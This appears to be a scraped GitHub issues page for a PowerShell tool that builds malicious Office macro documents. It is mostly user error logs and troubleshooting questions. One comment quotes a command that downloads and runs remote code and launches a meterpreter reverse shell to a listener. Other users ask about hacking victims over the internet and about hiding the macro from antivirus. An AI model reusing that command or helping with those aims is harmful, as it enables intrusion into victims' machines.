enigma0x3 / generate-macro Goto Github PK
View Code? Open in Web Editor NEWThis Powershell script will generate a malicious Microsoft Office document with a specified payload and persistence method.
This Powershell script will generate a malicious Microsoft Office document with a specified payload and persistence method.
i try to work your script on kali but doesnt work, i have this message :
./Generate-Macro.ps1: ligne 2: erreur de syntaxe près du symbole inattendu « newline »
./Generate-Macro.ps1: ligne 2: `<#'
i delete all comment before the script thats still not work... im so sad man
Thx for helping
Hi, there seems to be some limitations in Task Scheduler. The task name cannot include a space or it'll fail silently. It'll be good if it is specified in the help. Also the /TR value cannot be greater than 261 characters it seems. So the URL should not be too long.
Can this be made to generate Word documents also?
Awesome work btw.
Thanks.
I know Invoke-Shellcode works excellent in LAN connections. Does Invoke-Shellcode work in WAN?? I have never tried it, so has anyone tried whether the Generate-Macro file generates payloads for WAN?? If we enter the no-ip address for ip and the required port and send it to my victim. Will the victim in WAN get hacked over the internet?? I have not tried it so im asking.
i tried with office 2016 and receive a lot of errors..
Hello...I tried using HTTP and HTTPS but does not open a session. Using Win10 and Office 2010
Thx
Right after opening and enabling the macro's , the powershell stops working.
Tested on office 2016 and 2007.
Do you have an idea what this could be?
alright i've been playing around with this for some time but the task doesn't seem to show up, it does create a session but it only lasts until restart,
is it possible to include task scheduler with logon persistence ?
Select Payload Number & Press Enter: 1
You cannot call a method on a null-valued expression.
At C:\Users\yasharWIN10\Desktop\Generate-Macro-master\Generate-Macro.ps1:150 char:1
- CategoryInfo : InvalidOperation: (:) [], RuntimeException
- FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At C:\Users\yasharWIN10\Desktop\Generate-Macro-master\Generate-Macro.ps1:154 char:1
- CategoryInfo : InvalidOperation: (:) [], RuntimeException
- FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At C:\Users\yasharWIN10\Desktop\Generate-Macro-master\Generate-Macro.ps1:155 char:1
- CategoryInfo : InvalidOperation: (:) [], RuntimeException
- FullyQualifiedErrorId : InvokeMethodOnNull
Call was rejected by callee. (Exception from HRESULT: 0x80010001 (RPC_E_CALL_REJECTED))
At C:\Users\yasharWIN10\Desktop\Generate-Macro-master\Generate-Macro.ps1:159 char:1
- CategoryInfo : OperationStopped: (:) [], COMException
- FullyQualifiedErrorId : System.Runtime.InteropServices.COMException
Saved to file C:\Users\yasharWIN10\Desktop\yashar.xls
Call was rejected by callee. (Exception from HRESULT: 0x80010001 (RPC_E_CALL_REJECTED))
At C:\Users\yasharWIN10\Desktop\Generate-Macro-master\Generate-Macro.ps1:163 char:1
- CategoryInfo : OperationStopped: (:) [], COMException
- FullyQualifiedErrorId : System.Runtime.InteropServices.COMException
Exception calling "Quit" with "0" argument(s): "Exception from HRESULT: 0x800AC472"
At C:\Users\yasharWIN10\Desktop\Generate-Macro-master\Generate-Macro.ps1:164 char:1
- CategoryInfo : NotSpecified: (:) [], MethodInvocationException
- FullyQualifiedErrorId : COMException
command to call the {Start-Job -ScriptBlock {$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('http://goo.gl/yfLfQB')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -LHOST 192.168.1.98 -LPORT 443 -Force}
}}
seems to fail as it doesn't ever call out.
I'd let the user be in control of where they want to host Invoke-Shellcode rather than providing a hardcoded link to my GitHub. For example, what if the path to Invoke-Shellcode in PowerSploit changed?
https://github.com/enigma0x3/Generate-Macro/blob/master/Generate-Macro.ps1#L218
Nice work. Thanks.
PS C:\users\vm7\desktop> .\Generate-Macro.ps1
File C:\users\vm7\desktop\Generate-Macro.ps1 cannot
em. Please see "get-help about_signing" for more de
At line:1 char:21
The .xls gets flagged by AV. Do you know a way to base64/AES the macro as veil-evasion do ?
I have the following error when I hit enter to generate :
Impossible to define the property DisplayAlerts from the Application class.
At C:\Users\user\Desktop\Generate-Macro.ps1:142 : 1
+ $Excel01.DisplayAlerts = "wdAlertsNone"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OperationStopped: (:) [], COMException
+ FullyQualifiedErrorId : System.Runtime.InteropServices.COMException
Add-Type : Impossible to load the file or assembly 'Microsoft.Office.Interop.Excel, Version=12.0.0.0,
Culture=neutral, PublicKeyToken=XXXXXXXXXXXXXX' ou une de ses dépendances. The file is not found.
At C:\Users\user\Desktop\Generate-Macro.ps1:154 : 1
+ Add-Type -AssemblyName Microsoft.Office.Interop.Excel
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Add-Type], FileNotFoundException
+ FullyQualifiedErrorId : System.IO.FileNotFoundException,Microsoft.PowerShell.Commands.AddTypeCommand
Type [Microsoft.Office.Interop.Excel.XlFileFormat] not found.
At C:\Users\user\Desktop\Generate-Macro.ps1:155 : 1
+ $Workbook01.SaveAs("$global:FullName", [Microsoft.Office.Interop.Exce...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation : (Microsoft.Offic...el.XlFileFormat:TypeName) [], RuntimeException
+ FullyQualifiedErrorId : TypeNotFound
Saved to file C:\Users\user\Desktop\test2.xls
New-Item : The file 'C:\Users\user\Desktop\RegistryCleanup.ps1' does not exist.
At C:\Users\user\Desktop\Generate-Macro.ps1:170 : 1
+ New-Item $env:userprofile\Desktop\RegistryCleanup.ps1 -type file | Ou ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : WriteError: (C:\Users\user\D...stryCleanup.ps1:String) [New-Item], IOException
+ FullyQualifiedErrorId : NewItemIOError,Microsoft.PowerShell.Commands.NewItemCommand
Clean-up Script located at C:\Users\user\Desktop\RegistryCleanup.ps1
Also, a RegistryCleanup.ps1 powershell script appears on my desktop instead of a .xls file.
I have choose a meterpreter https with logon persistence.
Note : - The error log above is a translation : it can explain some weird sentences.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.